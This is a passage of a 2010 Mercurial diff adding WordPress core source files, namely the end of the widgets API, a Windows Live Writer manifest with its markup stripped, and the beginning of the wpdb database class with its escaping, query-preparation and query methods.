$update_callback, + 'params' => array_slice(func_get_args(), 3) + ); + + $widget = array_merge($widget, $options); + $wp_registered_widget_updates[$id_base] = $widget; +} + +function _register_widget_form_callback($id, $name, $form_callback, $options = array()) { + global $wp_registered_widget_controls; + + $id = strtolower($id); + + if ( empty($form_callback) ) { + unset($wp_registered_widget_controls[$id]); + return; + } + + if ( isset($wp_registered_widget_controls[$id]) && !did_action( 'widgets_init' ) ) + return; + + $defaults = array('width' => 250, 'height' => 200 ); + $options = wp_parse_args($options, $defaults); + $options['width'] = (int) $options['width']; + $options['height'] = (int) $options['height']; + + $widget = array( + 'name' => $name, + 'id' => $id, + 'callback' => $form_callback, + 'params' => array_slice(func_get_args(), 4) + ); + $widget = array_merge($widget, $options); + + $wp_registered_widget_controls[$id] = $widget; +} + +/** + * Remove control callback for widget. + * + * @since 2.2.0 + * @uses wp_register_widget_control() Unregisters by using empty callback. + * + * @param int|string $id Widget ID. + */ +function wp_unregister_widget_control($id) { + return wp_register_widget_control($id, '', ''); +} + +/** + * Display dynamic sidebar. + * + * By default it displays the default sidebar or 'sidebar-1'. The 'sidebar-1' is + * not named by the theme, the actual name is '1', but 'sidebar-' is added to + * the registered sidebars for the name. If you named your sidebar 'after-post', + * then the parameter $index will still be 'after-post', but the lookup will be + * for 'sidebar-after-post'. + * + * It is confusing for the $index parameter, but just know that it should just + * work. When you register the sidebar in the theme, you will use the same name + * for this function or "Pay no heed to the man behind the curtain." Just accept + * it as an oddity of WordPress sidebar register and display. + * + * @since 2.2.0 + * + * @param int|string $index Optional, default is 1. Name or ID of dynamic sidebar. + * @return bool True, if widget sidebar was found and called. False if not found or not called. + */ +function dynamic_sidebar($index = 1) { + global $wp_registered_sidebars, $wp_registered_widgets; + + if ( is_int($index) ) { + $index = "sidebar-$index"; + } else { + $index = sanitize_title($index); + foreach ( (array) $wp_registered_sidebars as $key => $value ) { + if ( sanitize_title($value['name']) == $index ) { + $index = $key; + break; + } + } + } + + $sidebars_widgets = wp_get_sidebars_widgets(); + + if ( empty($wp_registered_sidebars[$index]) || !array_key_exists($index, $sidebars_widgets) || !is_array($sidebars_widgets[$index]) || empty($sidebars_widgets[$index]) ) + return false; + + $sidebar = $wp_registered_sidebars[$index]; + + $did_one = false; + foreach ( (array) $sidebars_widgets[$index] as $id ) { + + if ( !isset($wp_registered_widgets[$id]) ) continue; + + $params = array_merge( + array( array_merge( $sidebar, array('widget_id' => $id, 'widget_name' => $wp_registered_widgets[$id]['name']) ) ), + (array) $wp_registered_widgets[$id]['params'] + ); + + // Substitute HTML id and class attributes into before_widget + $classname_ = ''; + foreach ( (array) $wp_registered_widgets[$id]['classname'] as $cn ) { + if ( is_string($cn) ) + $classname_ .= '_' . $cn; + elseif ( is_object($cn) ) + $classname_ .= '_' . get_class($cn); + } + $classname_ = ltrim($classname_, '_'); + $params[0]['before_widget'] = sprintf($params[0]['before_widget'], $id, $classname_); + + $params = apply_filters( 'dynamic_sidebar_params', $params ); + + $callback = $wp_registered_widgets[$id]['callback']; + + if ( is_callable($callback) ) { + call_user_func_array($callback, $params); + $did_one = true; + } + } + + return $did_one; +} + +/** + * Whether widget is displayied on the front-end. + * + * Either $callback or $id_base can be used + * $id_base is the first argument when extending WP_Widget class + * Without the optional $widget_id parameter, returns the ID of the first sidebar + * in which the first instance of the widget with the given callback or $id_base is found. + * With the $widget_id parameter, returns the ID of the sidebar where + * the widget with that callback/$id_base AND that ID is found. + * + * NOTE: $widget_id and $id_base are the same for single widgets. To be effective + * this function has to run after widgets have initialized, at action 'init' or later. + * + * @since 2.2.0 + * + * @param callback Optional, Widget callback to check. + * @param int $widget_id Optional, but needed for checking. Widget ID. + * @param string $id_base Optional, the base ID of a widget created by extending WP_Widget. + * @param bool $skip_inactive Optional, whether to check in 'wp_inactive_widgets'. + * @return mixed false if widget is not active or id of sidebar in which the widget is active. + */ +function is_active_widget($callback = false, $widget_id = false, $id_base = false, $skip_inactive = true) { + global $wp_registered_widgets; + + $sidebars_widgets = wp_get_sidebars_widgets(); + + if ( is_array($sidebars_widgets) ) { + foreach ( $sidebars_widgets as $sidebar => $widgets ) { + if ( $skip_inactive && 'wp_inactive_widgets' == $sidebar ) + continue; + + if ( is_array($widgets) ) { + foreach ( $widgets as $widget ) { + if ( ( $callback && isset($wp_registered_widgets[$widget]['callback']) && $wp_registered_widgets[$widget]['callback'] == $callback ) || ( $id_base && _get_widget_id_base($widget) == $id_base ) ) { + if ( !$widget_id || $widget_id == $wp_registered_widgets[$widget]['id'] ) + return $sidebar; + } + } + } + } + } + return false; +} + +/** + * Whether the dynamic sidebar is enabled and used by theme. + * + * @since 2.2.0 + * + * @return bool True, if using widgets. False, if not using widgets. + */ +function is_dynamic_sidebar() { + global $wp_registered_widgets, $wp_registered_sidebars; + $sidebars_widgets = get_option('sidebars_widgets'); + foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) { + if ( count($sidebars_widgets[$index]) ) { + foreach ( (array) $sidebars_widgets[$index] as $widget ) + if ( array_key_exists($widget, $wp_registered_widgets) ) + return true; + } + } + return false; +} + +/** + * Whether a sidebar is in use. + * + * @since 2.8 + * + * @param mixed $index, sidebar name, id or number to check. + * @return bool true if the sidebar is in use, false otherwise. + */ +function is_active_sidebar( $index ) { + $index = ( is_int($index) ) ? "sidebar-$index" : sanitize_title($index); + $sidebars_widgets = wp_get_sidebars_widgets(); + if ( isset($sidebars_widgets[$index]) && !empty($sidebars_widgets[$index]) ) + return true; + + return false; +} + +/* Internal Functions */ + +/** + * Retrieve full list of sidebars and their widgets. + * + * Will upgrade sidebar widget list, if needed. Will also save updated list, if + * needed. + * + * @since 2.2.0 + * @access private + * + * @param bool $update Optional, deprecated. + * @return array Upgraded list of widgets to version 3 array format when called from the admin. + */ +function wp_get_sidebars_widgets($deprecated = true) { + global $wp_registered_widgets, $wp_registered_sidebars, $_wp_sidebars_widgets; + + // If loading from front page, consult $_wp_sidebars_widgets rather than options + // to see if wp_convert_widget_settings() has made manipulations in memory. + if ( !is_admin() ) { + if ( empty($_wp_sidebars_widgets) ) + $_wp_sidebars_widgets = get_option('sidebars_widgets', array()); + + $sidebars_widgets = $_wp_sidebars_widgets; + } else { + $sidebars_widgets = get_option('sidebars_widgets', array()); + $_sidebars_widgets = array(); + + if ( isset($sidebars_widgets['wp_inactive_widgets']) || empty($sidebars_widgets) ) + $sidebars_widgets['array_version'] = 3; + elseif ( !isset($sidebars_widgets['array_version']) ) + $sidebars_widgets['array_version'] = 1; + + switch ( $sidebars_widgets['array_version'] ) { + case 1 : + foreach ( (array) $sidebars_widgets as $index => $sidebar ) + if ( is_array($sidebar) ) + foreach ( (array) $sidebar as $i => $name ) { + $id = strtolower($name); + if ( isset($wp_registered_widgets[$id]) ) { + $_sidebars_widgets[$index][$i] = $id; + continue; + } + $id = sanitize_title($name); + if ( isset($wp_registered_widgets[$id]) ) { + $_sidebars_widgets[$index][$i] = $id; + continue; + } + + $found = false; + + foreach ( $wp_registered_widgets as $widget_id => $widget ) { + if ( strtolower($widget['name']) == strtolower($name) ) { + $_sidebars_widgets[$index][$i] = $widget['id']; + $found = true; + break; + } elseif ( sanitize_title($widget['name']) == sanitize_title($name) ) { + $_sidebars_widgets[$index][$i] = $widget['id']; + $found = true; + break; + } + } + + if ( $found ) + continue; + + unset($_sidebars_widgets[$index][$i]); + } + $_sidebars_widgets['array_version'] = 2; + $sidebars_widgets = $_sidebars_widgets; + unset($_sidebars_widgets); + + case 2 : + $sidebars = array_keys( $wp_registered_sidebars ); + if ( !empty( $sidebars ) ) { + // Move the known-good ones first + foreach ( (array) $sidebars as $id ) { + if ( array_key_exists( $id, $sidebars_widgets ) ) { + $_sidebars_widgets[$id] = $sidebars_widgets[$id]; + unset($sidebars_widgets[$id], $sidebars[$id]); + } + } + + // move the rest to wp_inactive_widgets + if ( !isset($_sidebars_widgets['wp_inactive_widgets']) ) + $_sidebars_widgets['wp_inactive_widgets'] = array(); + + if ( !empty($sidebars_widgets) ) { + foreach ( $sidebars_widgets as $lost => $val ) { + if ( is_array($val) ) + $_sidebars_widgets['wp_inactive_widgets'] = array_merge( (array) $_sidebars_widgets['wp_inactive_widgets'], $val ); + } + } + + $sidebars_widgets = $_sidebars_widgets; + unset($_sidebars_widgets); + } + } + } + + if ( isset($sidebars_widgets['array_version']) ) + unset($sidebars_widgets['array_version']); + + $sidebars_widgets = apply_filters('sidebars_widgets', $sidebars_widgets); + return $sidebars_widgets; +} + +/** + * Set the sidebar widget option to update sidebars. + * + * @since 2.2.0 + * @access private + * + * @param array $sidebars_widgets Sidebar widgets and their settings. + */ +function wp_set_sidebars_widgets( $sidebars_widgets ) { + if ( !isset( $sidebars_widgets['array_version'] ) ) + $sidebars_widgets['array_version'] = 3; + update_option( 'sidebars_widgets', $sidebars_widgets ); +} + +/** + * Retrieve default registered sidebars list. + * + * @since 2.2.0 + * @access private + * + * @return array + */ +function wp_get_widget_defaults() { + global $wp_registered_sidebars; + + $defaults = array(); + + foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) + $defaults[$index] = array(); + + return $defaults; +} + +/** + * Convert the widget settings from single to multi-widget format. + * + * @since 2.8.0 + * + * @return array + */ +function wp_convert_widget_settings($base_name, $option_name, $settings) { + // This test may need expanding. + $single = $changed = false; + if ( empty($settings) ) { + $single = true; + } else { + foreach ( array_keys($settings) as $number ) { + if ( 'number' == $number ) + continue; + if ( !is_numeric($number) ) { + $single = true; + break; + } + } + } + + if ( $single ) { + $settings = array( 2 => $settings ); + + // If loading from the front page, update sidebar in memory but don't save to options + if ( is_admin() ) { + $sidebars_widgets = get_option('sidebars_widgets'); + } else { + if ( empty($GLOBALS['_wp_sidebars_widgets']) ) + $GLOBALS['_wp_sidebars_widgets'] = get_option('sidebars_widgets', array()); + $sidebars_widgets = &$GLOBALS['_wp_sidebars_widgets']; + } + + foreach ( (array) $sidebars_widgets as $index => $sidebar ) { + if ( is_array($sidebar) ) { + foreach ( $sidebar as $i => $name ) { + if ( $base_name == $name ) { + $sidebars_widgets[$index][$i] = "$name-2"; + $changed = true; + break 2; + } + } + } + } + + if ( is_admin() && $changed ) + update_option('sidebars_widgets', $sidebars_widgets); + } + + $settings['_multiwidget'] = 1; + if ( is_admin() ) + update_option( $option_name, $settings ); + + return $settings; +} + +/** + * Deprecated API + */ + +/** + * Register widget for sidebar with backwards compatibility. + * + * Allows $name to be an array that accepts either three elements to grab the + * first element and the third for the name or just uses the first element of + * the array for the name. + * + * Passes to {@link wp_register_sidebar_widget()} after argument list and + * backwards compatibility is complete. + * + * @since 2.2.0 + * @uses wp_register_sidebar_widget() Passes the compiled arguments. + * + * @param string|int $name Widget ID. + * @param callback $output_callback Run when widget is called. + * @param string $classname Classname widget option. + * @param mixed $params,... Widget parameters. + */ +function register_sidebar_widget($name, $output_callback, $classname = '') { + // Compat + if ( is_array($name) ) { + if ( count($name) == 3 ) + $name = sprintf($name[0], $name[2]); + else + $name = $name[0]; + } + + $id = sanitize_title($name); + $options = array(); + if ( !empty($classname) && is_string($classname) ) + $options['classname'] = $classname; + $params = array_slice(func_get_args(), 2); + $args = array($id, $name, $output_callback, $options); + if ( !empty($params) ) + $args = array_merge($args, $params); + + call_user_func_array('wp_register_sidebar_widget', $args); +} + +/** + * Alias of {@link wp_unregister_sidebar_widget()}. + * + * @see wp_unregister_sidebar_widget() + * + * @since 2.2.0 + * + * @param int|string $id Widget ID. + */ +function unregister_sidebar_widget($id) { + return wp_unregister_sidebar_widget($id); +} + +/** + * Registers widget control callback for customizing options. + * + * Allows $name to be an array that accepts either three elements to grab the + * first element and the third for the name or just uses the first element of + * the array for the name. + * + * Passes to {@link wp_register_widget_control()} after the argument list has + * been compiled. + * + * @since 2.2.0 + * + * @param int|string $name Sidebar ID. + * @param callback $control_callback Widget control callback to display and process form. + * @param int $width Widget width. + * @param int $height Widget height. + */ +function register_widget_control($name, $control_callback, $width = '', $height = '') { + // Compat + if ( is_array($name) ) { + if ( count($name) == 3 ) + $name = sprintf($name[0], $name[2]); + else + $name = $name[0]; + } + + $id = sanitize_title($name); + $options = array(); + if ( !empty($width) ) + $options['width'] = $width; + if ( !empty($height) ) + $options['height'] = $height; + $params = array_slice(func_get_args(), 4); + $args = array($id, $name, $control_callback, $options); + if ( !empty($params) ) + $args = array_merge($args, $params); + + call_user_func_array('wp_register_widget_control', $args); +} + +/** + * Alias of {@link wp_unregister_widget_control()}. + * + * @since 2.2.0 + * @see wp_unregister_widget_control() + * + * @param int|string $id Widget ID. + */ +function unregister_widget_control($id) { + return wp_unregister_widget_control($id); +} + +/** + * Output an arbitrary widget as a template tag + * + * @since 2.8 + * + * @param string $widget the widget's PHP class name (see default-widgets.php) + * @param array $instance the widget's instance settings + * @param array $args the widget's sidebar args + * @return void + **/ +function the_widget($widget, $instance = array(), $args = array()) { + global $wp_widget_factory; + + $widget_obj = $wp_widget_factory->widgets[$widget]; + if ( !is_a($widget_obj, 'WP_Widget') ) + return; + + $before_widget = sprintf('
    ', $widget_obj->widget_options['classname']); + $default_args = array('before_widget' => $before_widget, 'after_widget' => "
    ", 'before_title' => '

    ', 'after_title' => '

    '); + + $args = wp_parse_args($args, $default_args); + $instance = wp_parse_args($instance); + + $widget_obj->_set(-1); + $widget_obj->widget($args, $instance); +} + +/** + * Private + */ +function _get_widget_id_base($id) { + return preg_replace( '/-[0-9]+$/', '', $id ); +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/wlwmanifest.xml --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/wlwmanifest.xml Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,44 @@ + + + + + + WordPress + Yes + Yes + + + + WordPress + images/wlw/wp-icon.png + images/wlw/wp-watermark.png + View site + Dashboard + + + + + + + + + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/wp-db.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/wp-db.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1141 @@ + '%d' + * + * @since 2.8.0 + * @see wpdb:prepare() + * @see wpdb:insert() + * @see wpdb:update() + * @access public + * @war array + */ + var $field_types = array(); + + /** + * Database table columns charset + * + * @since 2.2.0 + * @access public + * @var string + */ + var $charset; + + /** + * Database table columns collate + * + * @since 2.2.0 + * @access public + * @var string + */ + var $collate; + + /** + * Whether to use mysql_real_escape_string + * + * @since 2.8.0 + * @access public + * @var bool + */ + var $real_escape = false; + + /** + * Database Username + * + * @since 2.9.0 + * @access private + * @var string + */ + var $dbuser; + + /** + * Connects to the database server and selects a database + * + * PHP4 compatibility layer for calling the PHP5 constructor. + * + * @uses wpdb::__construct() Passes parameters and returns result + * @since 0.71 + * + * @param string $dbuser MySQL database user + * @param string $dbpassword MySQL database password + * @param string $dbname MySQL database name + * @param string $dbhost MySQL database host + */ + function wpdb($dbuser, $dbpassword, $dbname, $dbhost) { + return $this->__construct($dbuser, $dbpassword, $dbname, $dbhost); + } + + /** + * Connects to the database server and selects a database + * + * PHP5 style constructor for compatibility with PHP5. Does + * the actual setting up of the class properties and connection + * to the database. + * + * @since 2.0.8 + * + * @param string $dbuser MySQL database user + * @param string $dbpassword MySQL database password + * @param string $dbname MySQL database name + * @param string $dbhost MySQL database host + */ + function __construct($dbuser, $dbpassword, $dbname, $dbhost) { + register_shutdown_function(array(&$this, "__destruct")); + + if ( WP_DEBUG ) + $this->show_errors(); + + if ( defined('DB_CHARSET') ) + $this->charset = DB_CHARSET; + + if ( defined('DB_COLLATE') ) + $this->collate = DB_COLLATE; + + $this->dbuser = $dbuser; + + $this->dbh = @mysql_connect($dbhost, $dbuser, $dbpassword, true); + if (!$this->dbh) { + $this->bail(sprintf(/*WP_I18N_DB_CONN_ERROR*/" +

    Error establishing a database connection

    +

    This either means that the username and password information in your wp-config.php file is incorrect or we can't contact the database server at %s. This could mean your host's database server is down.

    +
      +
    • Are you sure you have the correct username and password?
    • +
    • Are you sure that you have typed the correct hostname?
    • +
    • Are you sure that the database server is running?
    • +
    +

    If you're unsure what these terms mean you should probably contact your host. If you still need help you can always visit the WordPress Support Forums.

    +"/*/WP_I18N_DB_CONN_ERROR*/, $dbhost), 'db_connect_fail'); + return; + } + + $this->ready = true; + + if ( $this->has_cap( 'collation' ) && !empty($this->charset) ) { + if ( function_exists('mysql_set_charset') ) { + mysql_set_charset($this->charset, $this->dbh); + $this->real_escape = true; + } else { + $collation_query = "SET NAMES '{$this->charset}'"; + if ( !empty($this->collate) ) + $collation_query .= " COLLATE '{$this->collate}'"; + $this->query($collation_query); + } + } + + $this->select($dbname); + } + + /** + * PHP5 style destructor and will run when database object is destroyed. + * + * @since 2.0.8 + * + * @return bool Always true + */ + function __destruct() { + return true; + } + + /** + * Sets the table prefix for the WordPress tables. + * + * Also allows for the CUSTOM_USER_TABLE and CUSTOM_USER_META_TABLE to + * override the WordPress users and usersmeta tables that would otherwise be determined by the $prefix. + * + * @since 2.5.0 + * + * @param string $prefix Alphanumeric name for the new prefix. + * @return string|WP_Error Old prefix or WP_Error on error + */ + function set_prefix($prefix) { + + if ( preg_match('|[^a-z0-9_]|i', $prefix) ) + return new WP_Error('invalid_db_prefix', /*WP_I18N_DB_BAD_PREFIX*/'Invalid database prefix'/*/WP_I18N_DB_BAD_PREFIX*/); + + $old_prefix = $this->prefix; + $this->prefix = $prefix; + + foreach ( (array) $this->tables as $table ) + $this->$table = $this->prefix . $table; + + if ( defined('CUSTOM_USER_TABLE') ) + $this->users = CUSTOM_USER_TABLE; + + if ( defined('CUSTOM_USER_META_TABLE') ) + $this->usermeta = CUSTOM_USER_META_TABLE; + + return $old_prefix; + } + + /** + * Selects a database using the current database connection. + * + * The database name will be changed based on the current database + * connection. On failure, the execution will bail and display an DB error. + * + * @since 0.71 + * + * @param string $db MySQL database name + * @return null Always null. + */ + function select($db) { + if (!@mysql_select_db($db, $this->dbh)) { + $this->ready = false; + $this->bail(sprintf(/*WP_I18N_DB_SELECT_DB*/' +

    Can’t select database

    +

    We were able to connect to the database server (which means your username and password is okay) but not able to select the %1$s database.

    +
      +
    • Are you sure it exists?
    • +
    • Does the user %2$s have permission to use the %1$s database?
    • +
    • On some systems the name of your database is prefixed with your username, so it would be like username_%1$s. Could that be the problem?
    • +
    +

    If you don\'t know how to setup a database you should contact your host. If all else fails you may find help at the WordPress Support Forums.

    '/*/WP_I18N_DB_SELECT_DB*/, $db, $this->dbuser), 'db_select_fail'); + return; + } + } + + function _weak_escape($string) { + return addslashes($string); + } + + function _real_escape($string) { + if ( $this->dbh && $this->real_escape ) + return mysql_real_escape_string( $string, $this->dbh ); + else + return addslashes( $string ); + } + + function _escape($data) { + if ( is_array($data) ) { + foreach ( (array) $data as $k => $v ) { + if ( is_array($v) ) + $data[$k] = $this->_escape( $v ); + else + $data[$k] = $this->_real_escape( $v ); + } + } else { + $data = $this->_real_escape( $data ); + } + + return $data; + } + + /** + * Escapes content for insertion into the database using addslashes(), for security + * + * @since 0.71 + * + * @param string|array $data + * @return string query safe string + */ + function escape($data) { + if ( is_array($data) ) { + foreach ( (array) $data as $k => $v ) { + if ( is_array($v) ) + $data[$k] = $this->escape( $v ); + else + $data[$k] = $this->_weak_escape( $v ); + } + } else { + $data = $this->_weak_escape( $data ); + } + + return $data; + } + + /** + * Escapes content by reference for insertion into the database, for security + * + * @since 2.3.0 + * + * @param string $s + */ + function escape_by_ref(&$string) { + $string = $this->_real_escape( $string ); + } + + /** + * Prepares a SQL query for safe execution. Uses sprintf()-like syntax. + * + * This function only supports a small subset of the sprintf syntax; it only supports %d (decimal number), %s (string). + * Does not support sign, padding, alignment, width or precision specifiers. + * Does not support argument numbering/swapping. + * + * May be called like {@link http://php.net/sprintf sprintf()} or like {@link http://php.net/vsprintf vsprintf()}. + * + * Both %d and %s should be left unquoted in the query string. + * + * + * wpdb::prepare( "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d", "foo", 1337 ) + * + * + * @link http://php.net/sprintf Description of syntax. + * @since 2.3.0 + * + * @param string $query Query statement with sprintf()-like placeholders + * @param array|mixed $args The array of variables to substitute into the query's placeholders if being called like {@link http://php.net/vsprintf vsprintf()}, or the first variable to substitute into the query's placeholders if being called like {@link http://php.net/sprintf sprintf()}. + * @param mixed $args,... further variables to substitute into the query's placeholders if being called like {@link http://php.net/sprintf sprintf()}. + * @return null|string Sanitized query string + */ + function prepare($query = null) { // ( $query, *$args ) + if ( is_null( $query ) ) + return; + $args = func_get_args(); + array_shift($args); + // If args were passed as an array (as in vsprintf), move them up + if ( isset($args[0]) && is_array($args[0]) ) + $args = $args[0]; + $query = str_replace("'%s'", '%s', $query); // in case someone mistakenly already singlequoted it + $query = str_replace('"%s"', '%s', $query); // doublequote unquoting + $query = str_replace('%s', "'%s'", $query); // quote the strings + array_walk($args, array(&$this, 'escape_by_ref')); + return @vsprintf($query, $args); + } + + /** + * Print SQL/DB error. + * + * @since 0.71 + * @global array $EZSQL_ERROR Stores error information of query and error string + * + * @param string $str The error to display + * @return bool False if the showing of errors is disabled. + */ + function print_error($str = '') { + global $EZSQL_ERROR; + + if (!$str) $str = mysql_error($this->dbh); + $EZSQL_ERROR[] = array ('query' => $this->last_query, 'error_str' => $str); + + if ( $this->suppress_errors ) + return false; + + if ( $caller = $this->get_caller() ) + $error_str = sprintf(/*WP_I18N_DB_QUERY_ERROR_FULL*/'WordPress database error %1$s for query %2$s made by %3$s'/*/WP_I18N_DB_QUERY_ERROR_FULL*/, $str, $this->last_query, $caller); + else + $error_str = sprintf(/*WP_I18N_DB_QUERY_ERROR*/'WordPress database error %1$s for query %2$s'/*/WP_I18N_DB_QUERY_ERROR*/, $str, $this->last_query); + + $log_error = true; + if ( ! function_exists('error_log') ) + $log_error = false; + + $log_file = @ini_get('error_log'); + if ( !empty($log_file) && ('syslog' != $log_file) && !@is_writable($log_file) ) + $log_error = false; + + if ( $log_error ) + @error_log($error_str, 0); + + // Is error output turned on or not.. + if ( !$this->show_errors ) + return false; + + $str = htmlspecialchars($str, ENT_QUOTES); + $query = htmlspecialchars($this->last_query, ENT_QUOTES); + + // If there is an error then take note of it + print "
    +

    WordPress database error: [$str]
    + $query

    +
    "; + } + + /** + * Enables showing of database errors. + * + * This function should be used only to enable showing of errors. + * wpdb::hide_errors() should be used instead for hiding of errors. However, + * this function can be used to enable and disable showing of database + * errors. + * + * @since 0.71 + * + * @param bool $show Whether to show or hide errors + * @return bool Old value for showing errors. + */ + function show_errors( $show = true ) { + $errors = $this->show_errors; + $this->show_errors = $show; + return $errors; + } + + /** + * Disables showing of database errors. + * + * @since 0.71 + * + * @return bool Whether showing of errors was active or not + */ + function hide_errors() { + $show = $this->show_errors; + $this->show_errors = false; + return $show; + } + + /** + * Whether to suppress database errors. + * + * @param unknown_type $suppress + * @return unknown + */ + function suppress_errors( $suppress = true ) { + $errors = $this->suppress_errors; + $this->suppress_errors = $suppress; + return $errors; + } + + /** + * Kill cached query results. + * + * @since 0.71 + */ + function flush() { + $this->last_result = array(); + $this->col_info = null; + $this->last_query = null; + } + + /** + * Perform a MySQL database query, using current database connection. + * + * More information can be found on the codex page. + * + * @since 0.71 + * + * @param string $query + * @return int|false Number of rows affected/selected or false on error + */ + function query($query) { + if ( ! $this->ready ) + return false; + + // filter the query, if filters are available + // NOTE: some queries are made before the plugins have been loaded, and thus cannot be filtered with this method + if ( function_exists('apply_filters') ) + $query = apply_filters('query', $query); + + // initialise return + $return_val = 0; + $this->flush(); + + // Log how the function was called + $this->func_call = "\$db->query(\"$query\")"; + + // Keep track of the last query for debug.. + $this->last_query = $query; + + // Perform the query via std mysql_query function.. + if ( defined('SAVEQUERIES') && SAVEQUERIES ) + $this->timer_start(); + + $this->result = @mysql_query($query, $this->dbh); + ++$this->num_queries; + + if ( defined('SAVEQUERIES') && SAVEQUERIES ) + $this->queries[] = array( $query, $this->timer_stop(), $this->get_caller() ); + + // If there is an error then take note of it.. + if ( $this->last_error = mysql_error($this->dbh) ) { + $this->print_error(); + return false; + } + + if ( preg_match("/^\\s*(insert|delete|update|replace|alter) /i",$query) ) { + $this->rows_affected = mysql_affected_rows($this->dbh); + // Take note of the insert_id + if ( preg_match("/^\\s*(insert|replace) /i",$query) ) { + $this->insert_id = mysql_insert_id($this->dbh); + } + // Return number of rows affected + $return_val = $this->rows_affected; + } else { + $i = 0; + while ($i < @mysql_num_fields($this->result)) { + $this->col_info[$i] = @mysql_fetch_field($this->result); + $i++; + } + $num_rows = 0; + while ( $row = @mysql_fetch_object($this->result) ) { + $this->last_result[$num_rows] = $row; + $num_rows++; + } + + @mysql_free_result($this->result); + + // Log number of rows the query returned + $this->num_rows = $num_rows; + + // Return number of rows selected + $return_val = $this->num_rows; + } + + return $return_val; + } + + /** + * Insert a row into a table. + * + * + * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) ) + * + * + * @since 2.5.0 + * @see wpdb::prepare() + * + * @param string $table table name + * @param array $data Data to insert (in column => value pairs). Both $data columns and $data values should be "raw" (neither should be SQL escaped). + * @param array|string $format (optional) An array of formats to be mapped to each of the value in $data. If string, that format will be used for all of the values in $data. A format is one of '%d', '%s' (decimal number, string). If omitted, all values in $data will be treated as strings. + * @return int|false The number of rows inserted, or false on error. + */ + function insert($table, $data, $format = null) { + $formats = $format = (array) $format; + $fields = array_keys($data); + $formatted_fields = array(); + foreach ( $fields as $field ) { + if ( !empty($format) ) + $form = ( $form = array_shift($formats) ) ? $form : $format[0]; + elseif ( isset($this->field_types[$field]) ) + $form = $this->field_types[$field]; + else + $form = '%s'; + $formatted_fields[] = $form; + } + $sql = "INSERT INTO `$table` (`" . implode( '`,`', $fields ) . "`) VALUES ('" . implode( "','", $formatted_fields ) . "')"; + return $this->query( $this->prepare( $sql, $data) ); + } + + + /** + * Update a row in the table + * + * + * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( 'ID' => 1 ), array( '%s', '%d' ), array( '%d' ) ) + * + * + * @since 2.5.0 + * @see wpdb::prepare() + * + * @param string $table table name + * @param array $data Data to update (in column => value pairs). Both $data columns and $data values should be "raw" (neither should be SQL escaped). + * @param array $where A named array of WHERE clauses (in column => value pairs). Multiple clauses will be joined with ANDs. Both $where columns and $where values should be "raw". + * @param array|string $format (optional) An array of formats to be mapped to each of the values in $data. If string, that format will be used for all of the values in $data. A format is one of '%d', '%s' (decimal number, string). If omitted, all values in $data will be treated as strings. + * @param array|string $format_where (optional) An array of formats to be mapped to each of the values in $where. If string, that format will be used for all of the items in $where. A format is one of '%d', '%s' (decimal number, string). If omitted, all values in $where will be treated as strings. + * @return int|false The number of rows updated, or false on error. + */ + function update($table, $data, $where, $format = null, $where_format = null) { + if ( !is_array( $where ) ) + return false; + + $formats = $format = (array) $format; + $bits = $wheres = array(); + foreach ( (array) array_keys($data) as $field ) { + if ( !empty($format) ) + $form = ( $form = array_shift($formats) ) ? $form : $format[0]; + elseif ( isset($this->field_types[$field]) ) + $form = $this->field_types[$field]; + else + $form = '%s'; + $bits[] = "`$field` = {$form}"; + } + + $where_formats = $where_format = (array) $where_format; + foreach ( (array) array_keys($where) as $field ) { + if ( !empty($where_format) ) + $form = ( $form = array_shift($where_formats) ) ? $form : $where_format[0]; + elseif ( isset($this->field_types[$field]) ) + $form = $this->field_types[$field]; + else + $form = '%s'; + $wheres[] = "`$field` = {$form}"; + } + + $sql = "UPDATE `$table` SET " . implode( ', ', $bits ) . ' WHERE ' . implode( ' AND ', $wheres ); + return $this->query( $this->prepare( $sql, array_merge(array_values($data), array_values($where))) ); + } + + /** + * Retrieve one variable from the database. + * + * Executes a SQL query and returns the value from the SQL result. + * If the SQL result contains more than one column and/or more than one row, this function returns the value in the column and row specified. + * If $query is null, this function returns the value in the specified column and row from the previous SQL result. + * + * @since 0.71 + * + * @param string|null $query SQL query. If null, use the result from the previous query. + * @param int $x (optional) Column of value to return. Indexed from 0. + * @param int $y (optional) Row of value to return. Indexed from 0. + * @return string Database query result + */ + function get_var($query=null, $x = 0, $y = 0) { + $this->func_call = "\$db->get_var(\"$query\",$x,$y)"; + if ( $query ) + $this->query($query); + + // Extract var out of cached results based x,y vals + if ( !empty( $this->last_result[$y] ) ) { + $values = array_values(get_object_vars($this->last_result[$y])); + } + + // If there is a value return it else return null + return (isset($values[$x]) && $values[$x]!=='') ? $values[$x] : null; + } + + /** + * Retrieve one row from the database. + * + * Executes a SQL query and returns the row from the SQL result. + * + * @since 0.71 + * + * @param string|null $query SQL query. + * @param string $output (optional) one of ARRAY_A | ARRAY_N | OBJECT constants. Return an associative array (column => value, ...), a numerically indexed array (0 => value, ...) or an object ( ->column = value ), respectively. + * @param int $y (optional) Row to return. Indexed from 0. + * @return mixed Database query result in format specifed by $output + */ + function get_row($query = null, $output = OBJECT, $y = 0) { + $this->func_call = "\$db->get_row(\"$query\",$output,$y)"; + if ( $query ) + $this->query($query); + else + return null; + + if ( !isset($this->last_result[$y]) ) + return null; + + if ( $output == OBJECT ) { + return $this->last_result[$y] ? $this->last_result[$y] : null; + } elseif ( $output == ARRAY_A ) { + return $this->last_result[$y] ? get_object_vars($this->last_result[$y]) : null; + } elseif ( $output == ARRAY_N ) { + return $this->last_result[$y] ? array_values(get_object_vars($this->last_result[$y])) : null; + } else { + $this->print_error(/*WP_I18N_DB_GETROW_ERROR*/" \$db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N"/*/WP_I18N_DB_GETROW_ERROR*/); + } + } + + /** + * Retrieve one column from the database. + * + * Executes a SQL query and returns the column from the SQL result. + * If the SQL result contains more than one column, this function returns the column specified. + * If $query is null, this function returns the 